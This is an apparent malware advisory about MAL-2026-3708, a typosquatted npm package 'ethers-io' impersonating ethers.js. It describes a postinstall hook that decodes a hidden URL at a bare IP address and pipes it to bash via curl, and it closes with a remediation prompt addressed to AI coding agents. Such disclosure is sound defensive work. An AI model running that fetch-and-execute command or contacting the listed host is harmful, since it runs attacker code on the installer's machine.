# MAL-2026-3708: Malicious code in ethers-io (npm)


- **Type:** Malicious package
- **Package:** `ethers-io` (npm)
- **Published:** 13 May 2026

## What is MAL-2026-3708?

MAL-2026-3708 is a malicious package in ethers-io, published on 13 May 2026. 

### Official description

The package's `package.json` declares a `postinstall` script that base64-decodes a hidden URL (`http://8.217.75.147:3000/payload`) and pipes the HTTP response directly to `bash` via `curl -s <url> | bash`. On every `npm install`, arbitrary attacker-controlled shell code is fetched over plain HTTP from a bare IPv4 address and executed on the installer's machine with no TLS, no integrity verification, and fully mutable content. Multiple independent block signals stack: obfuscated URL in a lifecycle hook, curl-pipe-bash, bare-IP plaintext C2, and purpose mismatch with the package's stated function. The package name `ethers-io` and its stated purpose as "I/O utilities for ethers.js" additionally impersonate the well-known ethers.js ecosystem, with the repository pointing at `github.com/ethers-utils/ethers-io` rather than the genuine ethers.js organization — a typosquat lure wrapped around the install-time RCE.

The OpenSSF Package Analysis project identified 'ethers-io' @ 2.0.0 (npm) as malicious.

It is considered malicious because:

- The package executes one or more commands associated with malicious behavior.

## What should I do about MAL-2026-3708?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-3708 is a malicious package: ethers-io (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-3708/ (Markdown: https://insights.sbomify.com/MAL-2026-3708/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-3708

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-3708/
Summaries are generated and may contain mistakes; the official description above is the record.